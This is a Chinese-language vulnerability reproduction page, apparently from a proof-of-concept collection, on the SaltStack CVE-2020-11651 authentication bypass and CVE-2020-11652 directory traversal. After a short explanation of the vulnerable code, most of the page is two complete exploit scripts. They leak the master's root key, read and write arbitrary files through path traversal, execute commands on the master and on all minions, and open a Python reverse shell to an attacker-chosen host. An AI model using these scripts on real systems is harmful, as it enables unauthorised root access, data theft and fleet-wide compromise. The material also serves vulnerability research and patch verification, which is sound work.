mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
663 lines
20 KiB
Markdown
663 lines
20 KiB
Markdown
|
|
# Saltstack 远程命令执行漏洞 CVE-2020-11651 11652
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。
|
|||
|
|
|
|||
|
|
在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。
|
|||
|
|
|
|||
|
|
在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
SaltStack Version < 2019.2.4
|
|||
|
|
SaltStack Version < 3000.2
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
git clone https://github.com/vulhub/vulhub.git
|
|||
|
|
cd vulhub/saltstack/CVE-2020-11652
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
salt-master普遍使用这两行代码进行认证,其中`clear_load`是可控输入点。
|
|||
|
|
|
|||
|
|
```pyhton
|
|||
|
|
auth_type, err_name, key, sensitive_load_keys = self._prep_auth_info(clear_load)
|
|||
|
|
auth_check = self.loadauth.check_authentication(clear_load, auth_type, key=key)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`_prep_auth_info`首先会识别`clear_load`输入的字段并选用其中之一作为认证方式,然后传参到`check_authentication`方法检验认证是否有效。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在第三种认证方式`auth_type=='user'`中,会由`_prep_auth_info`获取到系统opt的key,传递到`check_authentication`中和API参数中携带的key进行`==`比对。
|
|||
|
|
|
|||
|
|
理论上`_prep_auth_info`是不可被外部调用的,漏洞成因即是攻击者通过匿名API直接调用`_prep_auth_info`方法,在回显中拿到`self.key`,并在后续的请求中使用获取到的key过验证,以root权限执行高危指令。
|
|||
|
|
|
|||
|
|
Mworker daemon进程处理API请求:
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
class MWorker(salt.utils.process.SignalHandlingProcess):
|
|||
|
|
"""
|
|||
|
|
The worker multiprocess instance to manage the backend operations for the
|
|||
|
|
salt master.
|
|||
|
|
"""
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
其中 *handle_clear &* handle_aes 函数分别处理明文和加密指令:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在这里,`self._clear_funcs` 是 `class ClearFuncs` 的实例,在这里API访问者可以无认证调用任意的类函数。
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
class ClearFuncs(TransportMethods):
|
|||
|
|
"""
|
|||
|
|
Set up functions that are safe to execute when commands sent to the master
|
|||
|
|
without encryption and authentication
|
|||
|
|
"""
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`ClearFuncs._prep_auth_info()`将self.key返回给API造成泄露。攻击者可先通过这一方法拿到key,然后通过认证接口下发shell指令。
|
|||
|
|
|
|||
|
|
之前存在漏洞的代码中仅过滤掉`__`开头的private方法,导致`_prep_auth_info`泄露,patch中对clearfuncs和aesfuncs两个类添加了expose白名单过滤:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
这里使用 POC 来复现
|
|||
|
|
|
|||
|
|
下载地址: https://github.com/jasperla/CVE-2020-11651-poc
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
读取文件 **/etc/passwd**
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
反弹sell(这里使用另一个POC)
|
|||
|
|
|
|||
|
|
下载地址: https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞利用POC
|
|||
|
|
|
|||
|
|
[下载地址](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py)
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
# BASE https://github.com/bravery9/SaltStack-Exp
|
|||
|
|
# 微信公众号:台下言书
|
|||
|
|
# -*- coding:utf-8 -*- -
|
|||
|
|
from __future__ import absolute_import, print_function, unicode_literals
|
|||
|
|
import argparse
|
|||
|
|
import os
|
|||
|
|
import sys
|
|||
|
|
import datetime
|
|||
|
|
|
|||
|
|
import salt
|
|||
|
|
import salt.version
|
|||
|
|
import salt.transport.client
|
|||
|
|
import salt.exceptions
|
|||
|
|
|
|||
|
|
DEBUG = False
|
|||
|
|
|
|||
|
|
|
|||
|
|
def init_minion(master_ip, master_port):
|
|||
|
|
minion_config = {
|
|||
|
|
'transport': 'zeromq',
|
|||
|
|
'pki_dir': '/tmp',
|
|||
|
|
'id': 'root',
|
|||
|
|
'log_level': 'debug',
|
|||
|
|
'master_ip': master_ip,
|
|||
|
|
'master_port': master_port,
|
|||
|
|
'auth_timeout': 5,
|
|||
|
|
'auth_tries': 1,
|
|||
|
|
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
|
|||
|
|
|
|||
|
|
|
|||
|
|
def check_salt_version():
|
|||
|
|
print("[+] Salt 版本: {}".format(salt.version.__version__))
|
|||
|
|
|
|||
|
|
vi = salt.version.__version_info__
|
|||
|
|
|
|||
|
|
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
|
|||
|
|
return True
|
|||
|
|
else:
|
|||
|
|
return False
|
|||
|
|
|
|||
|
|
|
|||
|
|
def check_connection(master_ip, master_port, channel):
|
|||
|
|
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
try:
|
|||
|
|
channel.send({'cmd': 'ping'}, timeout=2)
|
|||
|
|
print('\033[1;32m可以连接\033[0m')
|
|||
|
|
except salt.exceptions.SaltReqTimeoutError:
|
|||
|
|
print("\033[1;31m无法连接\033[0m")
|
|||
|
|
sys.exit(1)
|
|||
|
|
|
|||
|
|
|
|||
|
|
def check_CVE_2020_11651(channel):
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
# try to evil
|
|||
|
|
try:
|
|||
|
|
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
|
|||
|
|
except salt.exceptions.SaltReqTimeoutError:
|
|||
|
|
print("\033[1;32m不存在漏洞\033[0m")
|
|||
|
|
except:
|
|||
|
|
print("\033[1;32m未知错误\033[0m")
|
|||
|
|
raise
|
|||
|
|
else:
|
|||
|
|
pass
|
|||
|
|
finally:
|
|||
|
|
if rets:
|
|||
|
|
root_key = rets[2]['root']
|
|||
|
|
print("\033[1;31m存在漏洞\033[0m")
|
|||
|
|
return root_key
|
|||
|
|
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
|
|||
|
|
def pwn_read_file(channel, root_key, path, master_ip):
|
|||
|
|
# print("[+] Attemping to read {} from {}".format(path, master_ip))
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': 'wheel',
|
|||
|
|
'fun': 'file_roots.read',
|
|||
|
|
'path': path,
|
|||
|
|
'saltenv': 'base',
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
print(rets['data']['return'][0][path])
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
def pwn_getshell(channel, root_key, LHOST, LPORT):
|
|||
|
|
msg = {"key": root_key,
|
|||
|
|
"cmd": "runner",
|
|||
|
|
'fun': 'salt.cmd',
|
|||
|
|
"kwarg": {
|
|||
|
|
"fun": "cmd.exec_code",
|
|||
|
|
"lang": "python3",
|
|||
|
|
"code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
|
|||
|
|
LHOST, LPORT)
|
|||
|
|
},
|
|||
|
|
'jid': '20200504042611133934',
|
|||
|
|
'user': 'sudo_user',
|
|||
|
|
'_stamp': '2020-05-04T04:26:13.609688'}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
response = channel.send(msg, timeout=3)
|
|||
|
|
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
|
|||
|
|
return True
|
|||
|
|
except:
|
|||
|
|
print("something failed")
|
|||
|
|
return False
|
|||
|
|
|
|||
|
|
|
|||
|
|
def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
|
|||
|
|
if master_or_minions == "master":
|
|||
|
|
msg = {"key": root_key,
|
|||
|
|
"cmd": "runner",
|
|||
|
|
'fun': 'salt.cmd',
|
|||
|
|
"kwarg": {
|
|||
|
|
"fun": "cmd.exec_code",
|
|||
|
|
"lang": "python3",
|
|||
|
|
"code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
|
|||
|
|
},
|
|||
|
|
'jid': '20200504042611133934',
|
|||
|
|
'user': 'sudo_user',
|
|||
|
|
'_stamp': '2020-05-04T04:26:13.609688'}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
response = channel.send(msg, timeout=3)
|
|||
|
|
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
|
|||
|
|
return True
|
|||
|
|
except:
|
|||
|
|
print("something failed")
|
|||
|
|
return False
|
|||
|
|
|
|||
|
|
if master_or_minions == "minions":
|
|||
|
|
print("Sending command to all minions on master")
|
|||
|
|
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
|
|||
|
|
cmd = "/bin/sh -c '{0}'".format(exec_cmd)
|
|||
|
|
|
|||
|
|
msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
|
|||
|
|
"user": "root", "jid": jid}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
response = channel.send(msg, timeout=3)
|
|||
|
|
if response == None:
|
|||
|
|
return True
|
|||
|
|
else:
|
|||
|
|
return False
|
|||
|
|
except:
|
|||
|
|
return False
|
|||
|
|
|
|||
|
|
|
|||
|
|
#####################################
|
|||
|
|
|
|||
|
|
master_ip=input('目标IP:')
|
|||
|
|
master_port='4506'
|
|||
|
|
channel = init_minion(master_ip, master_port)
|
|||
|
|
try:
|
|||
|
|
root_key = check_CVE_2020_11651(channel)
|
|||
|
|
except:
|
|||
|
|
pass
|
|||
|
|
while master_ip!='':
|
|||
|
|
print('1.测试POC 2.读取文件 3.执行命令(无回显) 4.反弹shell 5.退出')
|
|||
|
|
|
|||
|
|
whattype=input('请选择:')
|
|||
|
|
if whattype=='1':
|
|||
|
|
check_salt_version() # 检查salt版本
|
|||
|
|
check_connection(master_ip, master_port, channel) # 检查连接
|
|||
|
|
root_key = check_CVE_2020_11651(channel) # 读取root key
|
|||
|
|
print(root_key)
|
|||
|
|
elif whattype=='2':
|
|||
|
|
path = input('读取路径:')
|
|||
|
|
try:
|
|||
|
|
pwn_read_file(channel, root_key, path, master_ip) # 读取文件
|
|||
|
|
except:
|
|||
|
|
print('文件不存在')
|
|||
|
|
elif whattype=='3':
|
|||
|
|
print('1.master 2.minions')
|
|||
|
|
exectype = input('选择方式:')
|
|||
|
|
if exectype=='1':
|
|||
|
|
master_or_minions='master'
|
|||
|
|
elif exectype=='2':
|
|||
|
|
master_or_minions = 'minions'
|
|||
|
|
exec_cmd = input('输入命令:')
|
|||
|
|
pwn_exec(channel, root_key, exec_cmd, master_or_minions) # 执行命令
|
|||
|
|
elif whattype=='4':
|
|||
|
|
LHOST = input('反弹到IP:')
|
|||
|
|
LPORT = input('反弹端口:')
|
|||
|
|
pwn_getshell(channel, root_key, LHOST, LPORT) # 反弹shell
|
|||
|
|
elif whattype=='5':
|
|||
|
|
exit()
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
[下载地址](https://github.com/jasperla/CVE-2020-11651-poc/blob/master/exploit.py)
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
#!/usr/bin/env python
|
|||
|
|
#
|
|||
|
|
# Exploit for CVE-2020-11651 and CVE-2020-11652
|
|||
|
|
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
|
|||
|
|
# This exploit is based on this checker script:
|
|||
|
|
# https://github.com/rossengeorgiev/salt-security-backports
|
|||
|
|
|
|||
|
|
from __future__ import absolute_import, print_function, unicode_literals
|
|||
|
|
import argparse
|
|||
|
|
import datetime
|
|||
|
|
import os
|
|||
|
|
import os.path
|
|||
|
|
import sys
|
|||
|
|
import time
|
|||
|
|
|
|||
|
|
import salt
|
|||
|
|
import salt.version
|
|||
|
|
import salt.transport.client
|
|||
|
|
import salt.exceptions
|
|||
|
|
|
|||
|
|
def init_minion(master_ip, master_port):
|
|||
|
|
minion_config = {
|
|||
|
|
'transport': 'zeromq',
|
|||
|
|
'pki_dir': '/tmp',
|
|||
|
|
'id': 'root',
|
|||
|
|
'log_level': 'debug',
|
|||
|
|
'master_ip': master_ip,
|
|||
|
|
'master_port': master_port,
|
|||
|
|
'auth_timeout': 5,
|
|||
|
|
'auth_tries': 1,
|
|||
|
|
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
|
|||
|
|
|
|||
|
|
# --- check funcs ----
|
|||
|
|
|
|||
|
|
def check_connection(master_ip, master_port, channel):
|
|||
|
|
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
# connection check
|
|||
|
|
try:
|
|||
|
|
channel.send({'cmd':'ping'}, timeout=2)
|
|||
|
|
except salt.exceptions.SaltReqTimeoutError:
|
|||
|
|
print("OFFLINE")
|
|||
|
|
sys.exit(1)
|
|||
|
|
else:
|
|||
|
|
print("ONLINE")
|
|||
|
|
|
|||
|
|
def check_CVE_2020_11651(channel):
|
|||
|
|
print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
|
|||
|
|
except:
|
|||
|
|
print('ERROR')
|
|||
|
|
return None
|
|||
|
|
else:
|
|||
|
|
pass
|
|||
|
|
finally:
|
|||
|
|
if rets:
|
|||
|
|
print('YES')
|
|||
|
|
root_key = rets[2]['root']
|
|||
|
|
return root_key
|
|||
|
|
|
|||
|
|
print('NO')
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
|
|||
|
|
print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
# try read file
|
|||
|
|
msg = {
|
|||
|
|
'cmd': 'get_token',
|
|||
|
|
'arg': [],
|
|||
|
|
'token': top_secret_file_path,
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
except salt.exceptions.SaltReqTimeoutError:
|
|||
|
|
print("YES")
|
|||
|
|
except:
|
|||
|
|
print("ERROR")
|
|||
|
|
raise
|
|||
|
|
else:
|
|||
|
|
if debug:
|
|||
|
|
print()
|
|||
|
|
print(rets)
|
|||
|
|
print("NO")
|
|||
|
|
|
|||
|
|
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
|
|||
|
|
print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
# try read file
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': 'wheel',
|
|||
|
|
'fun': 'file_roots.read',
|
|||
|
|
'path': top_secret_file_path,
|
|||
|
|
'saltenv': 'base',
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
except salt.exceptions.SaltReqTimeoutError:
|
|||
|
|
print("TIMEOUT")
|
|||
|
|
except:
|
|||
|
|
print("ERROR")
|
|||
|
|
raise
|
|||
|
|
else:
|
|||
|
|
if debug:
|
|||
|
|
print()
|
|||
|
|
print(rets)
|
|||
|
|
if rets['data']['return']:
|
|||
|
|
print("YES")
|
|||
|
|
else:
|
|||
|
|
print("NO")
|
|||
|
|
|
|||
|
|
def check_CVE_2020_11652_write1(debug, channel, root_key):
|
|||
|
|
print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
# try read file
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': 'wheel',
|
|||
|
|
'fun': 'file_roots.write',
|
|||
|
|
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
|
|||
|
|
'data': 'evil',
|
|||
|
|
'saltenv': 'base',
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
except salt.exceptions.SaltReqTimeoutError:
|
|||
|
|
print("TIMEOUT")
|
|||
|
|
except:
|
|||
|
|
print("ERROR")
|
|||
|
|
raise
|
|||
|
|
else:
|
|||
|
|
if debug:
|
|||
|
|
print()
|
|||
|
|
print(rets)
|
|||
|
|
|
|||
|
|
pp(rets)
|
|||
|
|
if rets['data']['return'].startswith('Wrote'):
|
|||
|
|
try:
|
|||
|
|
os.remove('/tmp/salt_CVE_2020_11652')
|
|||
|
|
except OSError:
|
|||
|
|
print("Maybe?")
|
|||
|
|
else:
|
|||
|
|
print("YES")
|
|||
|
|
else:
|
|||
|
|
print("NO")
|
|||
|
|
|
|||
|
|
def check_CVE_2020_11652_write2(debug, channel, root_key):
|
|||
|
|
print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
# try read file
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': 'wheel',
|
|||
|
|
'fun': 'config.update_config',
|
|||
|
|
'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
|
|||
|
|
'yaml_contents': 'evil',
|
|||
|
|
'saltenv': 'base',
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
except salt.exceptions.SaltReqTimeoutError:
|
|||
|
|
print("TIMEOUT")
|
|||
|
|
except:
|
|||
|
|
print("ERROR")
|
|||
|
|
raise
|
|||
|
|
else:
|
|||
|
|
if debug:
|
|||
|
|
print()
|
|||
|
|
print(rets)
|
|||
|
|
if rets['data']['return'].startswith('Wrote'):
|
|||
|
|
try:
|
|||
|
|
os.remove('/tmp/salt_CVE_2020_11652.conf')
|
|||
|
|
except OSError:
|
|||
|
|
print("Maybe?")
|
|||
|
|
else:
|
|||
|
|
print("YES")
|
|||
|
|
else:
|
|||
|
|
print("NO")
|
|||
|
|
|
|||
|
|
def pwn_read_file(channel, root_key, path, master_ip):
|
|||
|
|
print("[+] Attemping to read {} from {}".format(path, master_ip))
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': 'wheel',
|
|||
|
|
'fun': 'file_roots.read',
|
|||
|
|
'path': path,
|
|||
|
|
'saltenv': 'base',
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
print(rets['data']['return'][0][path])
|
|||
|
|
|
|||
|
|
def pwn_upload_file(channel, root_key, src, dest, master_ip):
|
|||
|
|
print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
fh = open(src, 'rb')
|
|||
|
|
payload = fh.read()
|
|||
|
|
fh.close()
|
|||
|
|
except Exception as e:
|
|||
|
|
print('[-] Failed to read {}: {}'.format(src, e))
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': 'wheel',
|
|||
|
|
'fun': 'file_roots.write',
|
|||
|
|
'saltenv': 'base',
|
|||
|
|
'data': payload,
|
|||
|
|
'path': dest,
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
print('[ ] {}'.format(rets['data']['return']))
|
|||
|
|
|
|||
|
|
def pwn_exec(channel, root_key, cmd, master_ip, jid):
|
|||
|
|
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': 'runner',
|
|||
|
|
'fun': 'salt.cmd',
|
|||
|
|
'saltenv': 'base',
|
|||
|
|
'user': 'sudo_user',
|
|||
|
|
'kwarg': {
|
|||
|
|
'fun': 'cmd.exec_code',
|
|||
|
|
'lang': 'python',
|
|||
|
|
'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
|
|||
|
|
},
|
|||
|
|
'jid': jid,
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
except Exception as e:
|
|||
|
|
print('[-] Failed to submit job')
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
if rets.get('jid'):
|
|||
|
|
print('[+] Successfully scheduled job: {}'.format(rets['jid']))
|
|||
|
|
|
|||
|
|
def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
|
|||
|
|
print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
|
|||
|
|
msg = {
|
|||
|
|
'key': root_key,
|
|||
|
|
'cmd': '_send_pub',
|
|||
|
|
'fun': 'cmd.run',
|
|||
|
|
'user': 'root',
|
|||
|
|
'arg': [ "/bin/sh -c '{}'".format(cmd) ],
|
|||
|
|
'tgt': '*',
|
|||
|
|
'tgt_type': 'glob',
|
|||
|
|
'ret': '',
|
|||
|
|
'jid': jid
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
rets = channel.send(msg, timeout=3)
|
|||
|
|
except Exception as e:
|
|||
|
|
print('[-] Failed to submit job')
|
|||
|
|
return
|
|||
|
|
finally:
|
|||
|
|
if rets == None:
|
|||
|
|
print('[+] Successfully submitted job to all minions.')
|
|||
|
|
else:
|
|||
|
|
print('[-] Failed to submit job')
|
|||
|
|
|
|||
|
|
|
|||
|
|
def main():
|
|||
|
|
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
|
|||
|
|
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
|
|||
|
|
parser.add_argument('--port', '-p', dest='master_port', default='4506')
|
|||
|
|
parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
|
|||
|
|
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
|
|||
|
|
parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
|
|||
|
|
parser.add_argument('--read', '-r', dest='read_file')
|
|||
|
|
parser.add_argument('--upload-src', dest='upload_src')
|
|||
|
|
parser.add_argument('--upload-dest', dest='upload_dest')
|
|||
|
|
parser.add_argument('--exec', dest='exec', help='Run a command on the master')
|
|||
|
|
parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
|
|||
|
|
print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
|
|||
|
|
time.sleep(1)
|
|||
|
|
|
|||
|
|
# Both src and destination are required for uploads
|
|||
|
|
if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
|
|||
|
|
print('[-] Must provide both --upload-src and --upload-dest')
|
|||
|
|
sys.exit(1)
|
|||
|
|
|
|||
|
|
channel = init_minion(args.master_ip, args.master_port)
|
|||
|
|
|
|||
|
|
check_connection(args.master_ip, args.master_port, channel)
|
|||
|
|
|
|||
|
|
root_key = check_CVE_2020_11651(channel)
|
|||
|
|
if root_key:
|
|||
|
|
print('[*] root key obtained: {}'.format(root_key))
|
|||
|
|
else:
|
|||
|
|
print('[-] Failed to find root key...aborting')
|
|||
|
|
sys.exit(127)
|
|||
|
|
|
|||
|
|
if args.run_checks:
|
|||
|
|
# Assuming this check runs on the master itself, create a file with "secret" content
|
|||
|
|
# and abuse CVE-2020-11652 to read it.
|
|||
|
|
top_secret_file_path = '/tmp/salt_cve_teta'
|
|||
|
|
with salt.utils.fopen(top_secret_file_path, 'w') as fd:
|
|||
|
|
fd.write("top secret")
|
|||
|
|
|
|||
|
|
# Again, this assumes we're running this check on the master itself
|
|||
|
|
with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
|
|||
|
|
root_key = keyfd.read()
|
|||
|
|
|
|||
|
|
check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
|
|||
|
|
check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
|
|||
|
|
check_CVE_2020_11652_write1(debug, channel, root_key)
|
|||
|
|
check_CVE_2020_11652_write2(debug, channel, root_key)
|
|||
|
|
os.remove(top_secret_file_path)
|
|||
|
|
sys.exit(0)
|
|||
|
|
|
|||
|
|
if args.read_file:
|
|||
|
|
pwn_read_file(channel, root_key, args.read_file, args.master_ip)
|
|||
|
|
|
|||
|
|
if args.upload_src:
|
|||
|
|
if os.path.isabs(args.upload_dest):
|
|||
|
|
print('[-] Destination path must be relative; aborting')
|
|||
|
|
sys.exit(1)
|
|||
|
|
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)
|
|||
|
|
|
|||
|
|
|
|||
|
|
jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())
|
|||
|
|
|
|||
|
|
if args.exec:
|
|||
|
|
pwn_exec(channel, root_key, args.exec, args.master_ip, jid)
|
|||
|
|
|
|||
|
|
if args.exec_all:
|
|||
|
|
print("[!] Lester, is this what you want? Hit ^C to abort.")
|
|||
|
|
time.sleep(2)
|
|||
|
|
pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == '__main__':
|
|||
|
|
main()
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 参考文章
|
|||
|
|
|
|||
|
|
https://www.cdxy.me/?p=822
|